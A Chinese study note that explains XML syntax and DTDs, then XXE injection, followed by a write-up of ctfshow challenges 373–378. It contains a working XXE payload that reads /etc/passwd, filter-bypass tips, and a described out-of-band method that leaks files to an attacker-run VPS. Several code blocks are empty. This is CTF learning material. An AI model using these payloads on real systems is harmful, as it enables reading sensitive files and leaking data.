XXE漏洞
xml外部实体化注入漏洞
编码绕过
xml
XML 文档实例
//消息头,包含xml版本,编码格式
RUNOOB https://www.runoob.com runoob-logo.png 编程学习网站
标签必须成对出现,有开始标签就需要有结束标签,例如:
- 开始标签:
- 结束标签:
标签可以任意命名,感觉类似于函数名的意思,使用前需要自己定义声明
- XML 被设计用来传输和存储数据,其焦点是数据的内容。 XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息
- HTML 被设计用来显示数据,其焦点是数据的外观。
xml树结构
Everyday Italian Giada De Laurentiis 2005 30.00 Harry Potter J K. Rowling 2005 29.99 Learning XML Erik T. Ray 2003 39.95
实例中的根元素是
xml语法
所有的 XML 元素都必须有一个关闭标签
XML 标签对大小写敏感
XML 必须正确嵌套
This text is bold and italic//正确
This text is bold and italic//HTML不要求,但在xml中,这是错误嵌套
XML 属性值必须加引号
1 | <note date="12/11/2007">//加引号 |
实体引用
在 XML 中,一些字符拥有特殊的意义。
如果您把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。
这样会产生 XML 错误
为了避免这个错误,请用实体引用来代替 “<” 字符
在 XML 中,有 5 个预定义的实体引用:

注释
在 XML 中,空格会被保留
HTML 会把多个连续的空格字符裁减(合并)为一个:
| HTML: | Hello Tove |
|---|---|
| 输出结果: | Hello Tove |
在 XML 中,文档中的空格不会被删减。
[hr]
XML 命名规则
XML 元素必须遵循以下命名规则:
- 名称可以包含字母、数字以及其他的字符
- 名称不能以数字或者标点符号开始
- 名称不能以字母 xml(或者 XML、Xml 等等)开始
- 名称不能包含空格
- ‘-减号’,’.’,’:’要避免
这是date属性
这是date元素
这是扩展的date元素
XML DTD
DTD 的目的是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构:
]>
以上 DTD 解释如下:
- !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
- !ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading,、body”
- !ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
- !ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型
- !ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型
- !ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型
我的理解就是说他类似于C语言,类似于定义一个变量,定义一个函数的声明就是说明一下类型,之后就可以直接引用
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
**CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。 **
xml CSS
这行代码就是把 XML 文件链接到 CSS 文件
文档声明
外部文档声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
1 | <!DOCTYPE 根元素 [元素声明]> |
内部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
1 | <!DOCTYPE 根元素 SYSTEM "文件名"> |
system是外部实体,
,这是外部文件包含DTD文件
public,也是声明外部实体的方法
回显式XXE漏洞
随便给给标签能够读出内容,就能判断为xxe漏洞
漏洞形成原因,外部文件不一定会是DTD文件,但是有就会帮找出来
XXE检测
1 | <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root> |

如果数据包或页面中存在“Hello XXE”的字样,则表名实体已被解析
1 | <?xml version=”1.0” encoding=”UTF-8”?><!DOCTYPE ANY [<!ENTITY % name SYSTEM "http://localhost/tp5/test.xml">%name;]> |
XXEpayload
文件读取
1 | <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root> |
将Content-Type: application/json修改为 Content-Type: application/xml 构造XXE
]>
根目录
windows系统的根目录地址:file:///c:/
Mac/Linux系统的根目录地址:file:///
ctfshow
373

代码解析
echo $ctfshow;输出的是$ctfshow这个变量
$ctfshow = $creds->ctfshow;由这串代码可以知道,他会检索最外层标签的ctfshow元素,外层标签无所谓
因此最终的代码为
1 |
|
利用burpsuite抓包post上传

374
无回显读取文件
1 |
|
首先在vps内写一个后缀名为.dtd的文件
1 | touch pd.dtd |
文件内容为
1 |
|
指定到自己的代理服务器
再用python构造一个静态服务器
python3 -m http.server 8810

访问公网IP的对应端口即可查看到该静态服务器

再开一个代理服务器监听dtd文件指定的端口,用burpsuite向浏览器发包,payload为
1 |

vps即可得到文件内容

375
1 |
|
过滤了<?xml version=”1.0”,直接去掉,或者多打一个空格在xml和version之间绕过,或者大小写绕过
之后重复374步骤
376
过滤了头,不区分大小写,同365
377
1 | import requests |
用python提交payload
378
题目源码


1 |
|
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/tga7ocsexh37yixn
语雀文档ID: 137335362